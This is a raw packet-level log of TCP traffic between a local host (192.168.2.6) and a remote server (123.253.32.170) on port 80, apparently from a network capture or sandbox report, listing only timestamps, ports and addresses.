Nov 30, 2022 00:11:12.645237923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.645277977 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.645917892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.645960093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.646018982 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.646086931 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647025108 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647095919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647144079 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647149086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647207022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647253990 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647334099 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647458076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647552013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647557020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647625923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647646904 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647695065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647748947 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647763014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647773981 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647829056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647835970 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647895098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.647901058 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.647958040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648000002 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648022890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648092985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648154974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648171902 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648221970 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648260117 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648288012 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648348093 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648355007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648401976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648417950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648466110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648503065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648523092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648578882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648592949 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648647070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648718119 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648778915 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648791075 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648791075 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648825884 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648849010 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648896933 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648916006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.648962975 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.648983002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.649033070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.649054050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.649112940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.649128914 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.649183035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.649226904 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.649247885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.649322033 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.649316072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.649398088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.649416924 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.649466991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.649509907 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.649538040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.649595976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.649647951 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.660218000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.660254002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.660286903 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.660320044 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.660348892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.660381079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.660413980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.660561085 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.660716057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.660716057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.662657022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.681000948 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.683253050 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.726063967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.737629890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.737663031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.737688065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.737869024 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.910943985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.911034107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.911077023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.911118031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.911143064 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.911216021 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.911238909 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.911262035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.911313057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.916590929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.916670084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.916726112 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.916783094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.916806936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.916840076 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.916843891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.916919947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.916975021 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.916992903 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.917018890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917062044 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917063951 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.917103052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917144060 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.917145014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917186975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917227983 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.917233944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917294979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917341948 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.917359114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917412996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917457104 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.917457104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917512894 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.917556047 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.920743942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.920802116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.920845032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.920890093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.920902967 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.920933008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.920936108 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.921308041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921423912 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921453953 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.921468973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921511889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921515942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.921557903 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921602011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921605110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.921646118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921690941 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.921700001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921763897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921812057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.921819925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921889067 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.921967030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922035933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922102928 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922157049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922158957 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.922216892 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.922220945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922271967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922322989 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.922328949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922385931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922439098 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.922449112 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922516108 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922569036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.922570944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922614098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922656059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.922661066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.931979895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.932039976 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.932085037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.932127953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.932127953 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.932159901 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.932168007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.932214022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.932236910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.932259083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.932384968 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.952454090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.009124041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.009160042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.009181023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.009198904 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.009268999 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.009334087 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.182442904 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.182562113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.182612896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.182641029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.182816982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.182859898 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.182903051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.182986975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.183063030 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.188422918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188462973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188481092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188498974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188515902 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188616991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188636065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188652992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188672066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.188683033 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188724995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.188754082 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.188788891 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.188903093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.189073086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.189100981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.189146042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.189187050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.189213037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.189224958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.189254045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.189261913 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.189274073 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.189294100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.189316034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.189343929 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.191783905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.191803932 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.191819906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.191838026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.191873074 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.191909075 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.193909883 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.193938971 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.193960905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.193979979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.193996906 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194010019 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194026947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194045067 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194055080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194087029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194103003 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194119930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194137096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194171906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194183111 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194211006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194221020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194242954 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194259882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194281101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194288015 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194304943 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194324970 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194331884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194370985 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194382906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194407940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194430113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194452047 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194468975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194494009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194519997 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194531918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194561005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194572926 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.194616079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194639921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.194657087 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.203406096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.203429937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.203447104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.203460932 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.203501940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.203519106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.203537941 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.203556061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.203569889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.203628063 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.282409906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.282432079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.282449961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.282581091 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.283035040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.283052921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.283071041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.283163071 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.454685926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.454720974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.454742908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.454763889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.454786062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.454807997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.454900980 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.454989910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.460243940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460279942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460302114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460328102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460354090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460376978 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.460403919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460422039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460438967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460455894 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460473061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460489988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460506916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460522890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460539103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460602045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460695028 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.460834026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460861921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460886002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460901022 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.460926056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.460946083 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.460963964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.461014032 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.463104963 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.463138103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.463160038 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.463186026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.463227987 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.463265896 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.465938091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466012955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466041088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466062069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466087103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466116905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466128111 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466155052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466167927 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466187000 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466203928 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466228962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466253996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466265917 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466293097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466309071 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:13.466331959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466361046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:13.466381073 CET	49725	80	192.168.2.6	123.253.32.170
